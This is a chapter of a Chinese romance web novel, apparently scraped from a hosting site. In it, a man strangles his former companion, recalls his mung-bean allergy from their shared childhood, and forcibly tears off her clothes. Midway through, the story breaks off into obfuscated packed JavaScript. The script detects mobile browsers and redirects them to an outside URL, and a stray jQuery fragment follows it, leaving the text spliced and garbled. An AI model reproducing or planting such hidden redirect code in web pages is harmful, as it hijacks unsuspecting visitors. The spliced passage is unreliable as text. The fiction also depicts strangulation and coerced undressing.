默认冷灰
24号文字
方正启体

5. 天成一媚骨

作者:璞尘本书字数:K更新时间:
    江绮英踉跄了几步,便摔了在地上,冷硬的触感化作尖锐的疼痛,隔着单薄的衣衫刮蹭着她细嫩的肌肤和纤弱的骨骼。


    可不等她摸索着爬起来,薛蕴的手却已经紧紧扼住了她的脖颈。


    窒息感和他愤怒的低吼纷踏而至,他的眼神里满是刻骨的怨恨,以及一丝不易察觉的兴奋:“江绮英你蛊惑人心的本事真是不减当年啊,连我都差点被你骗过去了!谁准你和他们说话的,你又想向他们打听什么?!”


    他的手指随着他的话语一点点收紧,江绮英原本玉白的小脸在这须臾间憋得青紫,一句完整的话都说不出来。


    幸而人求生的本能尚存,令她还能不停地摇头否认,不停地捶打着薛蕴的臂膀,试图挣扎出一线生机。


    但双方力量悬殊太大,薛蕴早已不是曾经那个瘦弱孤苦的少年,尽管她已竭尽全力,却根本无济于事。


    万幸中的万幸,在即将力竭的最后一刻,她终于像是想起什么一般,抬起手拼命朝着另一个指了又指。


    过于急切且具有导向性的动作很快引起了薛蕴的注意,后者下意识偏头用余光扫过她所指的方向。


    却见就在他们不远处的桌几上,静静摆着一碟色润形满的绿豆糕。


    薛蕴不禁一怔,手上的力道也不自觉有了松懈。


    江绮英这才有机会拼命挣脱出来,趴在地上一边大口大口地呼吸,一边抓紧时间跟他解释:


    “我只是…只是向卓将军打听少主平日都爱吃些什么…想给少主做一些……从前都是我的过错,我不知道这些和少主这些年受的苦比起来…根本算不了什么…但至少…至少我也有在尽我所能……”


    这几日她从卓符那里打听到不少和薛蕴有关的事,其中最多的就是他的衣食喜好。


    这人与少时相比,确实变了很多。


    犹记得从前那些黑心肝的恶人占据慈恩寺后,成日只顾自己吃香喝辣,每日给寺里的孩子们供应的吃食就是一顿稀粥干馕,难以下咽的同时,也根本填不饱肚子。


    孩子们想要活,便只能自己上山挖野菜,扯果子,有机会抓到野鸡兔子什么的,却还要担心被比自己高大的大孩子们抢走。


    那时每天能吃到些干净完整的野果都是奢侈,而江绮英有一次也实在是运气好,居然捡到了半块来寺里烧香的贵族子弟从马车里丢出的半块酥饼。


    这样贵胄人家微不足道的小点心,在那时的他们看来简直就是世上最珍贵的美味,为了防止被人抢走,她特地贴身藏在自己的抱腹里,直到夜半三更所有人都睡下后,才敢拿出来和薛蕴分享。


    那时的薛蕴就是只小馋猫,就那一小半酥饼也吃得狼吞虎咽,完了还不忘反复舔着嘴唇周围的残渣,意犹未尽。


    江绮英其实也和他一样,两个稚嫩的孩童就这样躺在静谧的星空下,不断回味着人生中这难得的一点甘甜,慢慢进入梦乡……


    但,一切都在他们相继离开慈恩寺后发生了翻天覆地的变化。


    据卓符所言,从他来到薛蕴麾下,就没见他对甜食点心有过半点好感,平日里的吃食也不精细,有肉吃肉,没肉啃个干粮,喝碗菜羹也能对付过去。


    江家虽派人教导过江绮英庖厨之术,却也只是皮毛,除了些精致小巧、做出来讨人喜欢,能博个蕙质兰心之名的点心小食,她便一概不会了。


    好在这绿豆糕口味清淡,甜而不腻,纵然是再不喜欢甜腻之物的人也能入口。


    她不求能一下子就做到薛蕴的心坎里,但只要他知道,自己有心弥补便是。


    可随着角落里的滴漏一点一滴落下,薛蕴的脸上也并未出现任何松和的痕迹,甚至眸底的阴戾还有更加深浓的迹象,脸色愈发郁沉难看。


    ——他对绿豆过敏。


    并且这件事,最先知道的人就是绮英。


    “阿蕴,你的脖子上怎么起了那么多疹子?你是不是偷吃绿豆了?”


    “不是都跟你说了吗,有我一个装病就好了,再多一个只会让人起疑心的,何况那豆子上一次就险些要了你的命,你不能这么不听话!”


    “阿蕴,我只有你了,你不能死,我也不能死,我们要一起活下去。”


    回忆不受控制地翻涌于脑海,在此之前,某个酷暑如蒸的夜半,两个又热又饿的孩子曾大着胆子结伴溜到厨房里偷吃的。


    那天恶匪们似乎在为了做成了一单大生意大肆庆祝,基本上每个人都喝了很多酒,厨房里也没有留人值守。


    他们一路畅通无阻地溜进去,翻遍各个角落却也只找到了小半碗其他人喝剩下的绿豆饮。


    彼时天热,绿豆饮是平民百姓间能接触到解渴消暑之物里最实惠的,对于慈恩寺长大的孩子来说,更是平日里尝都尝不到的琼浆玉液。


    两个孩子争先恐后地品尝着,冰凉清甜的滋味在他们幼嫩的舌尖绽开,是独属于他们两个人再不复得的美梦。


    薛蕴记得,那天晚上他们两个馋得都快要把那只破陶碗舔碎了,结果等他们溜回去没多久,他就觉得自己身上开始无端发痒,连带着呼吸也变得十分困难。


    好容易熬到第二天早上,还因为身上难受起不来床,没办法帮同屋的大孩子去河边打水,而被狠狠揍了一顿。


    等到绮英发现他的时候,他已经晕死在了山下河边,差一点就要被水流冲走了。


    后来也是绮英看到他满身的红疹,一猜就猜到是昨夜那碗绿豆饮惹的祸。


    而慧空大师还在的时候,曾教过她辨认过药房里几种常见的药品,其中恰好就有能救下他性命的甘草片和金银花。


    他的命,这才又一次被她捡了回来。


    此后心思缜密如她,便也会格外留意着,哪怕是其他一般的豆子,也盯紧了绝对不让他碰。


    他们对彼此有着逾越一切情谊的珍惜,比血亲还血亲,比恋人还恋人。


    可谁能想到十年之后,她居然会把这足以要了他性命的小豆子做成糕饼,轻轻巧巧地摆在他眼前。


    她是想要他的命?


    还是单纯已经忘了他被这点微不足道的小玩意儿折磨得有多惨?


    又或者……


    薛蕴


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041674|178803||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的脑中冷不丁闪过一个念头。


    他将目光重新聚焦在眼前这个柔弱而愚蠢的女人身上,她有着这世上数一数二的美艳皮囊,眉眼鼻唇和少时的她相比,也只不过如花苞绽放,幼苗成荫。


    除了这些成长的痕迹,以及再不见当时点缀在她眼角眉梢的天真和狡黠,他几乎看不出她和从前有何分别。


    但,就是哪里不一样。


    “嘶啦——”


    他一面心跳不止地狂想,一面将她重新从地上拽到自己面前,近乎粗暴地扯开她的领口,使她的半边肩颈猝不及防地裸露出来。


    “少…少主?”江绮英吓了一跳,本能地抬起手护在自己身前,下意识手脚并用地想要从比她高出一个头的男子身前逃走。


    然而她实在错估了他们之间实力的悬殊,即便她已经很努力且连滚带爬地想要逃,却还是没爬出去几步,便被他抓住脚踝,一把扯了回去!


    “阿蕴不要!”江绮英下意识叫了出来。


    薛蕴却充耳不闻,更加罔顾她的抗拒和羞怯,继续撕扯着她本就单薄的衣衫。


    布帛撕裂的声音回荡在宽敞的营帐里,她的肌肤和她所剩无几的尊严正一寸一寸暴露在他的眼前。


    江绮英羞愤欲死,她不知道他这是怎么了,也不明白自己到底又做错了什么,何故又惹起他的不悦,甚至怨恨。


    她自知当年是她一念之差,铸下大错,最终害人害己,一手造就了现在这个偏执暴戾,杀人如麻的他,误了他们两个人的一辈子。


    她已认错,也愿意拼尽全力弥补,使劲浑身解数想要讨好他、安抚他,可他为何就是感受不到呢?


    难道,他当真想要她死吗?


    可她不想死啊……


    不想死…对……她不想死…她不能死……


    “阿,阿蕴!”


    她如是想着,终于壮起胆子拼命克制住浑身的胆寒和战栗,用她冰凉的手抓住他还在和她腰带做纠缠的大手。


    “我自己来……请让我自己来。”


    江绮英能听到耳边自己的声音都还是颤抖的,低着头不敢看薛蕴的脸,却也能看到自己落在营帐烛火下的影子,正小心翼翼地从薛蕴的手里拿回自己的腰带,轻轻解开,再一样一样,慢慢褪去自己的衣衫、襦裙……直到只剩最后一件遮羞的抱腹。


    薛蕴这些年因着她的关系,除了一个他义母派来照看他的聋哑老媪外,再不让任何女人近身,从未经过人事,彼时眼底除了一股子阴沉沉的恨意,确也不曾沾染其他不该有的欲念。


    他似乎并未意识到自己的行为有何不妥,也还没反应过来她想要做什么。


    只当她像是下定了某种决心,深吸一口气后,终于伸手去解开自己抱腹的系绳,并攀着他的手臂,一点点爬上来的时候,他才终于后知后觉地意识到,她似乎误会了什么?


    然而就算如此,也为时已晚,就在她主动凑过来的那一刻,她的抱腹失去了系绳的牵制,已然滑落到了腰际,她就这样携着一身赤|裸裸的柔软和火热,战战兢兢地吻住了他干涩的嘴角!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)